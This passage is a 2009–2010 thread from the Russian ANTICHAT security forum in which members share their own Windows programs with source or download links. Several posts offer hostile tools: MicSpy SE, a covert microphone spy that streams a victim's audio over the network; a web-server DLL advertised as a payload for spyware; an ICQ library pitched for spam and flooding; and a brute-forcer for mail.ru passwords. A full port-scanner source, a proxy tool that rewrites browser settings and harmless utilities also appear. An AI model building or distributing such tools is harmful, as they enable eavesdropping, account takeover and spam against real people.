HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

MicSpy SE (Stream Edition)
  #81  
Старый 07.12.2009, 14:26
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию MicSpy SE (Stream Edition)

MicSpy SE (Stream Edition)

Это собственно говоря небольшое продолжение идеи
микрофонного шпиона, но чуть с другой технологией работы.

Основные изменения:
1) отсутствует админка
2) запись больше не производится в файлы
3) скомпилить через альтернативные модули и упаковать UPX то размер будет 5632 байта т.е. как видно - существенно уменьшился размер
4) теперь данные передаются в псевдопотоковом режиме через сеть.
5) для прослушивания нужен желательно Winamp
6) возможность одновременного подключения 256 пользователей.

Алгоритм работы:
1) инициализируется формат записываемых данных
2) инит сокетов
3) ожидание подключения клиента
4) если есть клиент, то считывает http заголовок
5) если неудачно считался, то клиент отключается и ему посылается ответ HTTP/1.0 404 Not Found
6) если удачно считался заголовок то идут действия:
7) если клиентов 256 то клиент отключается и ему посылается ответ HTTP/1.0 404 Not Found
8) если первый клиент, то включает запись и добавляет сокет клиента в очередь на посылку данных
9) если не первый, то просто сокет добавляется в очередь посылки данных
10) если идет запись, и получены данные, то проверяется очередь сокетов и каждому сокету отправляется этот пакет
11) если данные не отправились (клиент отключился), то сокет закрывается и удаляется из очереди
12) если закрыт последний сокет то останавливается запись, чтобы не расходовать ресурсы.

Достоинства:
1) малый размер
2) нет нужды хранить файлы
3) нет нужды управлять записью, всё само идет.
4) прослушивание в реальном времени.
5) до 256 одновременных клиентов

Недостатки:
Как и во всём хорошем есть сво:е плохое )
1) трафик расходуется с заданным битрейтом записи.
В локалках - это норм. да и при существующем инете это уже не проблема.
2) получение HTTP заголовка от клиента - глючно сделано, по этому пока данные не получатся то второй клиент не подрубится. т.е. нужно просто сделать таймаут на сокет (на чтение) или заюзать select. Так что это решаемо.
3) т.к. реализована псевдопоточность, то довольно сложновато прослушать через браузер данные.
т.е. Quick Time отказался слушать почему то.

Зато Windows Media Player и WinAmp в легкую смогли получать данные по сети, достаточно было указать адрес http://xxx.xxx.xxx.xxx:4545/

Так вот небольшая доделка старого MicSpy сделанная за 2 часа )

В архиве можно найти архив со следующими файлами:
1) MicSpySE.dpr - основной модуль
2) API.pas - список зающанных API функий
3) MicRec.pas - модуль отвечающий за запись и передачу данных
4) MicSpySE.exe - скомпиленный через альтернативные модули и упакованный UPX

P.P.S нашел шас глюк небольшой. забыл вставить
SendToClient(csocket, HeaderOK);
после
if SocketList.data[x] = 0 then
begin
т.е. в одном месте есть а в другом месте нету.

http://slesh.name/uploads/MicSpySE.rar

(C) SLESH
 
Ответить с цитированием

Micro Web Server DLL
  #82  
Старый 07.12.2009, 14:28
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию Micro Web Server DLL

Micro Web Server DLL

Что это и для чего это?
1) Это небольшой веб сервер реализованный в виде DLL
2) Может использовать как добавочная нагрузка на разного рода программы, где необходим свой простенький веб сервер, преимущественно для скачевание файлов. А также можно сделать его полезной нагрузкой шпионских программ или других ползучих гадов )

Характеристики:
1) чистый размер DLL - 4608
2) язык программирования - С++
3) среда разработки - MS Visual Studio 2008 Pro
4) 2 функции - остановка сервера и запуск сервера
5) Поддерживаемые ОС - Windows 98SE - Windows 7
6) Возможность использования в любых программах на любых языках (ASM, Delphi, C, C++, VB и другие компилируемые языки)
7) Сокетная система - WinSock2
8) зависимость от DLL - WS2_32.DLL, KERNEL32.DLL, USER32.DLL. Другими словами - всё стандартное, всё системное.

Возможности:
1) неограниченное кол-во работающих параллельно серверов (сколько система позволит)
2) Запуск и остановка любого сервера в любое время
3) задание порта для сервера
4) задание таймаута на получение команды от клиента
5) установка своей корневой диры для каждого сервера
6) задание максимального кол-ва пользователей одновременно обрабатываемых сервером.
7) установку размера буфера при отдаче файлов. (но не менее 1024 байт)
8) максимальный поддерживаемый размер файла - сколько позволит винда. Теоретически должно работать с файлами > 4 гигов
9) показ содержимого папки
10) поддержка русскоязычных названий папок и файлов. Теоретически вообще любые кодировки должны пахать, потому что используется widechar.

Чего не умеет:
1) никакие запросы кроме GET не поддерживаются
2) нет поддержки докачки файлов.
3) нет поддержки файлов размером больше 2 гигов.
4) никакие php, perl и прочие cgi не поддерживаются
5) сервер настроен так, что все файлы он отдает на скачевание а не на показ. т.е. я поставил application/octet-stream для всех типов файлов. Но по желанию каждый может изменить.

Функции DLL
function StartServer(var id : dword; ip : dword; port : word; MaxClients : integer; TimeOut : dword; BufSize : dword; MainDir : pwidechar):dword;

Функция возвращает результат запуска сервера. Константы описаны ниже.
Параметры:
id - в переменную будет записан дескриптор сервера
ip - сетевой интерфейс на котором будет слушаться порт. 0 - на всех.
port - порт для сервера
MaxClients - макс число одновременно подсоединенных клиентов к данному серверу
TimeOut - таймаут на получение команды от клиента в миллисекундах. т.е. 1000 = 1 сек
BufSize - размер буфера при передаче файлов
MainDir - корневая папка сервера

function StopServer(id : dword) : dword; - остановка сервера.
id - дескриптор сервера

Пример использование в Delphi
Разместить DLL в папке с программой.
Код:
const // коды ошибок
  SERVER_STATUS_OK                  = $FFFFFFF0;
  SERVER_STATUS_FOLDER_ERROR        = $FFFFFFF1;
  SERVER_STATUS_CREATE_SOCKET_ERROR = $FFFFFFF2;
  SERVER_STATUS_BIND_ERROR          = $FFFFFFF3;
  SERVER_STATUS_LISTEN_ERROR		  	= $FFFFFFF4;
  SERVER_STATUS_ALLOC_MEM_ERROR		  = $FFFFFFF5;
  SERVER_STATUS_CREATE_THREAD_ERROR	= $FFFFFFF6;
  SERVER_STATUS_ID_ERROR				    = $FFFFFFF7;
// остановка сервера
  function StopServer(id : dword) : dword; stdcall; external 'WebServ.dll';

// запуск сервера
  function StartServer(var id : dword; ip : dword; port : word; MaxClients : integer; TimeOut : dword; BufSize : dword; MainDir : pwidechar):dword; stdcall; external 'WebServ.dll';

var
  Server_1 : dword; 
  Server_2 : dword;

procedure TForm1.Button1Click(Sender: TObject);
var
  status : dword;
begin
  // запустить сервер.
  status := StartServer(Server_1, 0, 666, 10, 30000, 4096, 'c:\');
  if status <> SERVER_STATUS_OK then
  begin
    ShowMessage('Server 1 Start Error. Code = ' + inttohex(status, 8));
  end;

  status := StartServer(Server_2, 0, 667, 10, 30000, 4096, 'd:\');
  if status <> SERVER_STATUS_OK then
  begin
    ShowMessage('Server 2 Start Error. Code = ' + inttohex(status, 8));
  end;

end;

// остановка
procedure TForm1.Button2Click(Sender: TObject);
var
  status : dword;
begin
  status := StopServer(Server_1);
  if status <> SERVER_STATUS_OK then
  begin
    ShowMessage('Server 1 Stop Error. Code = ' + inttohex(status, 8));
  end;

  status := StopServer(Server_2);
  if status <> SERVER_STATUS_OK then
  begin
    ShowMessage('Server 2 Stop Error. Code = ' + inttohex(status, 8));
  end;
end;
Пример использование в С++
Для С++ по подобной системе.
Код:
#define SERVER_STATUS_OK					0xFFFFFFF0
#define SERVER_STATUS_FOLDER_ERROR			0xFFFFFFF1
#define SERVER_STATUS_CREATE_SOCKET_ERROR	0xFFFFFFF2
#define SERVER_STATUS_BIND_ERROR			0xFFFFFFF3
#define SERVER_STATUS_LISTEN_ERROR			0xFFFFFFF4
#define SERVER_STATUS_ALLOC_MEM_ERROR		0xFFFFFFF5
#define SERVER_STATUS_CREATE_THREAD_ERROR	0xFFFFFFF6
#define SERVER_STATUS_ID_ERROR				0xFFFFFFF7

ULONG __stdcall StartServer(ULONG* id, ULONG ip, USHORT port, LONG MaxClients, ULONG TimeOut, ULONG BufSize, wchar_t * MainDir)
ULONG __stdcall StopServer(ULONG id)
.....................
 ULONG Server;
 
 StartServer(&Server_1, 0, 666, 10, 30000, 4096, L"c:\\");
.......................
На последок
Если компилить как exe то размер будет 3,5 кила.
В принципе работает норм. Покрайней мере при тестировании. Кто пробовал, отпишите.

В архиве вы найдете файлы:
WebServ.cpp - исходник DLL
WebServ.def - вспомогательный файл
WebServ.dll - откомпиленная DLL
WebServ.h - хидер
WebServ.vcproj - файл проекта

http://slesh.name/uploads/WebServ.rar

(С) SLESH 2009 )
 
Ответить с цитированием

IcqMod DLL
  #83  
Старый 07.12.2009, 14:30
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию IcqMod DLL

IcqMod DLL


Что это?
Это небольшая DLL для работы с аськой ) которая реализует основные функции для работы с протоколом.
Основные - это коннект, дисконнект, отправка и получение сообщений, запрос авторизации и отказ авторизовать.

Заче оно нужно?
1) Очень удобный модуль для ICQ спама
2) Очень удобный модуль для ICQ флуда
3) Возможность быстрого создания простых ICQ ботов
4) Использование в любом другом софте который использует ICQ протокол

В чем особенность?
1) чистый размер DLL - 6 килобайт
2) возможность использования в любом компилируемом языке
3) простота использования
4) поддержка socks4 и socks5
5) нет нужны юзать VCL и тому подобные вещи.
6) собственный двиг (не используется TICQClient)/ собственно по размеру это видно
7) в онлайн можно выводить сколько угодно номеров (в особенности если юзать прокси) при этом тормозить ничего не будет в отличии от использования VCL компонента TICQClient

Какие функции имеются?
ICQClose - закрытие соединение
ICQConnect - коннект к серваку
ICQSendMsg - посылка сообщения
ICQSendAuth - посылка запроса на авторизацию с передачей текста
ICQAuth - авторизовать UIN или отказать в авторизации
ICQReadMsg - проверка на наличие сообщения в очереди.

Технические особенность
1) максимальное кол-во параллельно работающих коннектов - неограничено, на сколько система позволит
2) максимальный размер входящего сообщения - 240 байт. Просто большие сообщения отправляются другим способом, который не поддерживается в dll
3) поддержка приема русских сообщений
4) оправка сообщений на рус языке требует предварительного конверта текста в UTF8. Англ и так прокатывает.
5) используется только WinSock2
6) написан на Си.
7) Скомпилен в VS 2008 Pro

Дополнительно
Т.к. судя по виду, эту либу будут использовать в основном для спама или флуда или в других программах которые будут приность прибыль людям, то исходники данной DLL выкладывать не буду. Тем кому они понадобятся могу продать за определенную плату.

Пример использования в Delphi
Пример реализации в делфи простого бота который будет выводить в консоль сообщение которые посылает юзвери и их UIN's
на запрос !TIME будет отослано текущее время.

Пример лежит в архиве
TimeBot.dpr - сам бот
IcqMod.pas - вспомогательный модуль описывающий константы и прототипы
IcqMod.dll - сама dll

Пример использования в C/C++
Примера не будет, просто в файле IcqMod.h описаны константы и прототипы функций. Кому нужно разберутся.

Подробное описание функций? констант и структур
Код:
  PROXY_INFO = packed record
    ProxyType : dword; // тип прокси
    ProxyIp : dword; //  адрес прокси
    ProxyPort : word; // порт прокси
  end;
  PPROXY_INFO = ^PROXY_INFO;
Данная структура описывает инфо о прокси.
Типы прокси:
PROXY_TYPE_SOCKS_4 = 1;
PROXY_TYPE_SOCKS_5 = 2;

заполняется так примерно:
proxy.ProxyType = PROXY_TYPE_SOCKS_5;
proxy.ProxyPort = 1222;
proxy.ProxyIp = inet_addr("127.0.0.1");
--------------------------------
Код:
  ICQ_CLIENT = packed record
    status : byte;
    sequence : word;
    sock : dword;
  end;
основная структура описывающая состояние работы. Заполняется функцией ICQConnect
В ней не стоит ничего менять, просто используете для работы. Единственная переменная за состоянием которой нужно следить - status она может принимать значение:
ICQ_CLIENT_STATUS_CONNECTED = 1; - связь установлена
ICQ_CLIENT_STATUS_DISCONNECTED = 2; - нет связи с сервером
--------------------------------
function ICQConnect(var client : ICQ_CLIENT; host : PAnsichar; port : word; login : PAnsichar; pass : PAnsichar; pproxy : PPROXY_INFO) : dword; stdcall; external ICQMOD_DLL;

подключение к серверу, где
client - переменная для хранения состояния
host - имя сервака типа login.icq.com
port - порт сервера (5190)
login - UIN
pass - пароль для UINа
pproxy - указатель на структуру описывающую прокси.
Если 0 значит не юзать прокси, если указана структура прокси, то берет из неё данные для коннекта

Функция возвращает код состояния:
ICQ_CONNECT_STATUS_OK = $FFFFFFFF; // подключился удачно
ICQ_CONNECT_STATUS_RECV_ERROR = $FFFFFFFE; // ошибка чтения данных
ICQ_CONNECT_STATUS_SEND_ERROR = $FFFFFFFD;// ошибка отправки данных
ICQ_CONNECT_STATUS_CONNECT_ERROR = $FFFFFFFC;// ошибка коннекта к серваку
ICQ_CONNECT_STATUS_AUTH_ERROR = $FFFFFFFB; // не смог авторизоваться. Или пас не подходит или превышен лимит
-----------------
function ICQReadMsg(var client : ICQ_CLIENT; UIN : PAnsichar; msg : PAnsichar; var msglen : integer) : dword; stdcall; external ICQMOD_DLL;

Проверка на сообщение.
client - описание состояния
UIN - адрес буфера куда будет помещен UIN человека от которого пришло сообщение. желательно чтобы был 10 байт.
msg - адрес буфера куда будет записано сообщение.
msglen - переменная в которую будет записана длинна сообщения.

Функция возвращает:
0 - сообщения нет
1 - сообщение получено.

Данная функция извлекает данне из сокета если они есть. И если это сообщение то парсит его.
----------------
function ICQAuth(var client : ICQ_CLIENT; UIN : PAnsichar; AuthOk : dword) : dword; stdcall; external ICQMOD_DLL;


Авторизация номера.
client - описание состояния
UIN - номр человека которого нужно авторизовать
AuthOk - флаг авторизации:
0 - послать команду - в авторизации отказано
1 - авторизовать человека.
---------------------
procedure ICQClose(var client : ICQ_CLIENT); stdcall; external ICQMOD_DLL;

закрывает соединение
--------------------

function ICQSendAuth(var client : ICQ_CLIENT; UIN : PAnsichar; msg : PAnsichar) : dword; stdcall; external ICQMOD_DLL;

Отсылка запроса на авторизацию.
UIN - кому отсылается
msg - текст который будет присутствовать в запросе
---------------------
function ICQSendMsg(var client : ICQ_CLIENT; UIN : PAnsichar; msg : PAnsichar) : dword; stdcall; external ICQMOD_DLL;

Посылка сообщения
UIN - кому
msg - текст сообщения

На последок всякая инфа
Как будет работать DLL - хз. тестил на локальном компе. Сообщениями обменивался с QIP Infium на рус и англ языке. всё было норм.

При написании DLL некоторые вещи были подсмотрены в TICQClient (запросы на отсылку сообщений и работу с авторизаций) Чтение сообщений и коннект подсмотренный с CommView и php классе работы с аськой. Так что сильно прошу не пинать ))

И главное - не спамте мою аську :'(

http://slesh.name/uploads/IcqMod.rar

(С) SLESH 2009
 
Ответить с цитированием

My proxy
  #84  
Старый 14.12.2009, 13:23
<Cyber-punk>
Участник форума
Регистрация: 01.10.2009
Сообщений: 105
Провел на форуме:
559542

Репутация: 94
Отправить сообщение для <Cyber-punk> с помощью ICQ
По умолчанию My proxy

My proxy - поднимает проксю на 127.0.0.1:8080

Delphi код


Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, ToolWin, ImgList, Registry, IniFiles, WinSock, Unit2;

type
  TForm1 = class(TForm)
    ListView1: TListView;
    ImageList1: TImageList;
    ToolBar1: TToolBar;
    ToolButton1: TToolButton;
    ToolButton4: TToolButton;
    ToolButton5: TToolButton;
    StatusBar1: TStatusBar;
    procedure ToolButton4Click(Sender: TObject);
    procedure ToolButton5Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ToolButton1Click(Sender: TObject);
  private
    _listenThread:TListenThread;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ToolButton4Click(Sender: TObject);
var
 _reg:TRegIniFile;
begin
 _reg := TRegIniFile.Create('Software\Microsoft\Windows\CurrentVersion\Internet Settings');
 _reg.WriteString('','ProxyServer', '127.0.0.1:8080');
 _reg.WriteBool('', 'ProxyEnable', true);
 _reg.Free;
 ShowMessage('IE для текущего пользователя сконфигурирован!');
end;

procedure TForm1.ToolButton5Click(Sender: TObject);
var
 _reg:TRegIniFile;
 _ini:TIniFile;
 _AppData:string;
begin
 _AppData := '';
 _reg := TRegIniFile.Create('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders');
 _AppData := _reg.ReadString('', 'AppData', '');

 if not (DirectoryExists(_AppData)) then
 begin
  ShowMessage ('Не получилось определить папку');
  Exit;
 end;


 _AppData := _AppData+'\Opera\Opera\Profile\opera6.ini';

 if not (FileExists(_AppData)) then
 begin
  ShowMessage('Не найден конфигурационный файл!');
  Exit;
 end;
 
 _ini := TIniFile.Create(_AppData);
 _ini.WriteBool('Proxy', 'Use HTTP', true);
 _ini.WriteString('Proxy', 'HTTP Server','127.0.0.1:8080');

 _reg.Free;
 _ini.Free;

 ShowMessage('Opera сконфигурирована!');
end;

procedure TForm1.FormCreate(Sender: TObject);
var
 _WSAData: WSAData;
begin
 if (WSAStartup(makeword(1,1), _WSAData))<>0 then
 begin
  ShowMessage('Произошла ошибка при инициализации WinSock!');
  Exit;
 end;
end;

procedure TForm1.ToolButton1Click(Sender: TObject);
begin
 _listenThread := TListenThread.Create(false);
 StatusBar1.Panels.Items[0].Text := 'Проксик запущен на порту 8080';
end;


end.
Исходники + прога

Последний раз редактировалось slesh; 14.12.2009 в 15:54..
 
Ответить с цитированием

Прога My fast port scan
  #85  
Старый 25.12.2009, 13:03
<Cyber-punk>
Участник форума
Регистрация: 01.10.2009
Сообщений: 105
Провел на форуме:
559542

Репутация: 94
Отправить сообщение для <Cyber-punk> с помощью ICQ
По умолчанию Прога My fast port scan

Программа My fast scan port быстро сканирует порты на удалённом сервере. Написанно на delphi 7.

Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, winsock2, ComCtrls;

type
  TForm1 = class(TForm)
    Panel1: TPanel;
    Label1: TLabel;
    AddressEdit: TEdit;
    Label2: TLabel;
    StartPortEdit: TEdit;
    EndPortEdit: TEdit;
    Label3: TLabel;
    Button1: TButton;
    DisplayMemo: TRichEdit;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
    function LookupName: TInAddr;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

//Функция преобразвывающся введённый адрес сервера в спец формат
//Если введено символьное имя, то она преобразовывает его сначала в IP адрес,
//а потом переводит в спец формат
function TForm1.LookupName: TInAddr;
var
 HostEnt: PHostEnt;
 InAddr: TInAddr;
begin
 if Pos('.', AddressEdit.Text)>0 then
  InAddr.s_addr := inet_addr(PChar(AddressEdit.Text))
 else
  begin
  HostEnt := gethostbyname(PChar(AddressEdit.Text));
  FillChar(InAddr, SizeOf(InAddr), 0);
  if HostEnt <> nil then
   begin
    with InAddr, HostEnt^ do
     begin
      S_un_b.s_b1 := h_addr^[0];
      S_un_b.s_b2 := h_addr^[1];
      S_un_b.s_b3 := h_addr^[2];
      S_un_b.s_b4 := h_addr^[3];
     end;
   end
  end;
  Result := InAddr;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
 i,j,s, opt, index: Integer;
 FSocket: array [0..41] of TSOCKET; //Массив сокетов
 busy   : array [0..41] of boolean; //Массив, в котором будет храниться информация о каждом сканируемом сокете
 port   : array [0..41] of integer; //Массив сканируемых портов
 addr   : TSockAddr;
 hEvent : THandle; //Объект для обработки сетевых событий
 fset   : TFDset;
 tv     : TTimeval;
 tec    :PServEnt;
 PName:String;
 GInitData : TWSADATA;
begin
 // Устанавливаю максимальное и минимальное значение полоски состояния сканирования
 //Я устанавливаю в минимум начальный порт сканирования, а в максимум - конечный порт
 ProgressBar1.Min:=StrToInt(StartPortEdit.Text);
 ProgressBar1.Max:=StrToInt(EndPortEdit.Text);

 //Инициализирую WinSock
 WSAStartup(MAKEWORD(2,0), GInitData);

 //Записываю в переменную i значение начального порта
 i:=StrToInt(StartPortEdit.Text);

 //Заполняю основные поля структуры addr, которая будет использоваться
 //при вызове функции connect
 addr.sin_family := AF_INET;
 addr.sin_addr.s_addr := INADDR_ANY;

 //Вывожу сообщение о том, что начат поиск введённого хоста
 DisplayMemo.SelAttributes.Color:=clTeal;
 DisplayMemo.SelAttributes.Style:=DisplayMemo.SelAttributes.Style+[fsBold];
 DisplayMemo.Lines.Add('Поиск хоста');

 //LookupName - эта функция написана выше и она возвращяет адрес в спец формате указанного сервера
 //Результат этой функции я записываю в поле адреса сервера структуры addr
 addr.sin_addr := LookupName;

 //Вывожу сообщение о том, что начато сканирование
 DisplayMemo.SelAttributes.Color:=clTeal;
 DisplayMemo.SelAttributes.Style:=DisplayMemo.SelAttributes.Style+[fsBold];
 DisplayMemo.Lines.Add('Сканирование...');

 //В index находиться количество сокетов проверяемых за один раз
 index:=40;

 //Создаю объект для обработки сетевых событий
 hEvent := WSACreateEvent();
 while i<StrToInt(EndPortEdit.Text) do
  begin
   ///Всем элементам массива busy присваиваю значение false
   for j:=0 to index do
    busy[j]:=false;

   //В этом цикле будут асинхронно посылаться запросы на моединение
   //переменная j будет изменяться от 0 до максимального количества
   //элементов в массиве
   for j:=0 to index do
    begin
     //Если j-й порт превысил значение указанного максимального
     //порта, то прервать цикл
     if i>StrToInt(EndPortEdit.Text) then
      begin
       index:=j-1;
       break;
      end;

     //Инициализирую очередной j-й сокет из массива FSocket
     FSocket[j] := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

     //Добавляю j-й сокет к объекту событий с помощью WSAEventSelect
     //1-й параметр - Добавляемый сокет
     //2-й параметр - объект событий, который был создан с помощью WSACreateEvent
     //3-й параметр - какие события ожидать. Тут я указываю FD_WRITE - события записи и FD_CONNECT - события о заключении соединения
     WSAEventSelect(FSocket[j], hEvent, FD_WRITE + FD_CONNECT);

     //Указываем порт, на который надо произвести попытку соединения
     addr.sin_port := htons(i);

     //Попытка коннекта на очередной порт
     connect(FSocket[j], @addr, sizeof(addr));

     //Даём ОС поработать и обработать накопившиеся события.
     //Если этого не делать, то вовремя сканирования будет
     //происходить эффект зависания
     Application.ProcessMessages;

     //Проверяю, были ли ошибки.
     if WSAGetLastError()=WSAEINPROGRESS then
      begin
       //Если ошибка произошла, то закрываю этот порт
       closesocket (FSocket[j]);
       //Устанавливаю соответствующий элемент в массиве busy в true
       //чтобы потом не проверять этот порт, потому что он всё равно
       //уже закрыт
       busy[j]:=true;
      end;

     //Указываю в массиве port, на какой именно порт мы сейчас послали запрос
     port[j]:=i;

     //Увеличиваю счётчик i в котором я отслеживаю, какой порт сейчас сканируеться
     //чтобы на следующем этапе цикла for запустить сканирование следующего порта
     i:=i+1;
    end;

   //Обнуляю переменную fset
   FD_Zero(fset);

   //Заполняю сканируемый массив сокетов в переменную fset
   for j := 0 to index do
    begin
     if busy[j] <> true then
      FD_SET (FSocket[j], fset);
    end;

   //Даём ОС поработать и обработать накопившиеся события.
   Application.ProcessMessages;

   //Заполняю структуру, в которой указано время ожидания события от сокета
   tv.tv_sec := 1; //Мы будем ждать 1 секунду
   tv.tv_usec := 0;

   //Ожидаем пока произойдёт хотя бы одно событие от любого из сокетов
   s:=select (1, nil, @fset, nil, @tv);

   //Даём ОС поработать и обработать накопившиеся события.
   Application.ProcessMessages;

   //Запускаю массив, в котором будет проверятся, какие из сокетов в массиве FSocket
   //прошли коннект успешно, а какие нет.
   for j := 0 to index do
    begin
     //Проверяем, был ли закрыт соответствующий порт из-за ошибки
     //Если да, то нет смысла его проверять
     if busy[j] then continue;

     if FD_ISSET (FSocket[j], fset) then
      begin
       //В переменную s записываеться размер перменной Opt
       s:=Sizeof(Opt);
       opt:=1;
       //Получаю состояние текущего j-го сокета
       //результат состояния будет в переменной opt
       getsockopt(FSocket[j], SOL_SOCKET, SO_ERROR, @opt, s);

       //Если opt равно 0 то порт открыт и к нему можно подключится
       if opt=0 then
         begin
          //Пытаюсь узнать символьное имя порта
          tec := getservbyport(htons(Port[j]),'TCP');
          if tec=nil then
           PName:='Unknown'
          else
           begin
            PName:=tec.s_name;
           end;
          //Вывожу сообщение об открытом порте
          DisplayMemo.Lines.Add('Хост:'+AddressEdit.Text+': порт :'+IntToStr(Port[j])+' ('+Pname+') '+' открыт ');
         end;
      end;
     //Закрыть j-й сокет, потому что он больше уже не нужен
     closesocket(FSocket[j]);
    end;
   //Увеличивею позицию в ProgressBar1
   ProgressBar1.Position:=i;
  end;
 //Закрываю объект событий
 WSACloseEvent(hEvent);

 //Вывожу сообщение о конце сканирования
 DisplayMemo.SelAttributes.Color:=clTeal;
 DisplayMemo.SelAttributes.Style:=DisplayMemo.SelAttributes.Style+[fsBold];
 DisplayMemo.Lines.Add('Сканирование закончено...');
 ProgressBar1.Position:=0;
end;

end.
Исходники + прога
 
Ответить с цитированием

  #86  
Старый 15.01.2010, 06:50
J.U.M.P
Новичок
Регистрация: 08.09.2009
Сообщений: 27
Провел на форуме:
42448

Репутация: 13
Отправить сообщение для J.U.M.P с помощью ICQ
По умолчанию

ПЫЛЕСОС v2.0

качаем: http://jumpsoft.narod.ru/pileSOS.exe

О программе:
программа сортирует файлы там, куда вы ее поместите. Соответствующие файлы она перемещает в соответствующие папки, которые создает если их нету.
Очень будет полезна тем, кто много качает и интернета, и на рабочем столе (и не только) у него хлам.
---
Имеется множество настроек, также можно сортировать только те форматы, которые вы введете.

Последний раз редактировалось J.U.M.P; 15.01.2010 в 06:53..
 
Ответить с цитированием

Читабельный вывод древообразной структуры на консоль
  #87  
Старый 17.01.2010, 19:41
rudvil
Участник форума
Регистрация: 25.08.2008
Сообщений: 187
Провел на форуме:
2066562

Репутация: 86
По умолчанию Читабельный вывод древообразной структуры на консоль

Функция для вывода читабельной древообразной структуры на консоль.
Писал для дерева такого типа
Код:
class Tree {
public:
    std::string value;
    std::vector<Tree> tree;
};
также легко будет переделать и под другой тип дерева.

Например если сконструировать дерево след. выражения
Код:
1+2*3
то вывод будет примерно таким
Код:
[+]-|
    |-[1]
    |
    |-[*]-|
    |     |-[2]
    |     |-[3]
Код:
#include <iostream>
#include <string>
#include <vector>

class Tree {
public:
    std::string value;
    std::vector<Tree> tree;
};

void printTree (Tree tree, int offsetWidth = 0, std::string offsetStr = "") {
    std::string str = "[" + tree.value + "]";
    std::string offset(offsetWidth + 1, ' '); // +1 because of '-' character on line 19
    offset = offset.replace(0, offsetStr.length(), offsetStr);
    int length = str.length();
    int size = tree.tree.size();
    if (offsetWidth > 0) {
        offset += "|";
        std::cout << offset << "-";
    }
    std::cout << str;
    if (size > 0) {
        std::cout << "-|\n";
        for (int i = 0; i < size; i++) {
            if (offsetWidth > 0) {
                printTree(tree.tree[i], length + offsetWidth + 3, offset); // +3 because of '[', ']', '-' characters
            }
            else {
                printTree(tree.tree[i], length + offsetWidth, offset);
            }
            if (i == size - 1) {
                std::cout << offset;
                std::cout << "\n";
            }
        }
    }
    else {
        std::cout << "\n";
    }
}

int main (int argc, char* argv[]) {
    print(tree);
    std::cin.get();
    return 0;
}

Последний раз редактировалось rudvil; 17.01.2010 в 22:02..
 
Ответить с цитированием

Bruteforce MMP / брут паролей сервиса mail.ru
  #88  
Старый 26.01.2010, 00:45
Gar|k
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме:
991929

Репутация: 395


По умолчанию Bruteforce MMP / брут паролей сервиса mail.ru

> intro
Посмотрел сейчас сюжет про linux, про идеи open source (лиценцию GNU GPL) и решил опубликовать исходники.
// тему создавал отдельную, но тут и обсуждать не чего. Пусть хоть исходник потеряется в сабжах нужной темы

> WARNING
Перед тем как компилировать исходники, настоятельно рекомендую прочесть статью 272 часть 2 (до пяти лет) и статью 138 УК РФ (до трёх лет)

- about
Функция генерация пароля взята из статьи "Циклический инкремент паролей", собственно каркас TCP/IP клиента у Криса Касперски, а идеи построения нормального сетевого приложения вычитаны у Йона Снейдера
Клиент MMP собственно мой... многопоточность достигается путем открытия сразу N сокетов, которые в дальнейшем живут своей жизнью.

+ test
При тестировании на скорости ~256 кб/c один сокет проверяет 4 пароля в секунду... 4 сокета соответственно 16 (думаю можно и больше не проверял). Приблизительно через 10 минут сервер попросту закрывает все соединения с данного IP (ну я так думаю, потому что помогает переподключение к инету).

--==[ СОРЦЫ Bruteforce MMP ]==---
 
Ответить с цитированием

vkAPI.pas
  #89  
Старый 26.01.2010, 03:31
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме:
500264

Репутация: 69
Отправить сообщение для RedFern.89 с помощью ICQ
Lightbulb vkAPI.pas

Код:
unit vkapi;

interface

uses
  Windows, Classes, idHTTP, idCookieManager, SysUtils, Dialogs;

var
  HTTP : TIDHTTP;

function VK_Login(email, pass: string): boolean;
procedure VK_GetFriendList(Names, OnlineFrinds: TStrings);
function VK_OpenWriteBox(id: string): string;
procedure VK_SendMessage(id, hash, msg: string);
procedure VK_GetNewMessageList(Messages: TStrings);
function VK_ReadMessage(msg_id: string): string;

implementation

function DecChas(chas: string): string;
var
 Decchas : string;
 str : string;
 I : Integer;
 Len : integer;
begin

 str := Copy(chas, 6, 12);
 Len := Length(str);

 For I := 0 To Length(str) -1 do
 begin
  Decchas := Decchas + str[len];
  Inc(len, -1);
 end;

 str := Copy(chas, 21, Length(chas) -5);
 str := str + Copy(chas, 5, 1);

 Len := Length(str);

 For I := 0 To Length(str) -1 do
 begin
   Decchas := Decchas + str[len];
   Inc(len, -1);
 end;

 Result := Decchas;
end;

function VK_Login(email, pass: string): boolean;
var
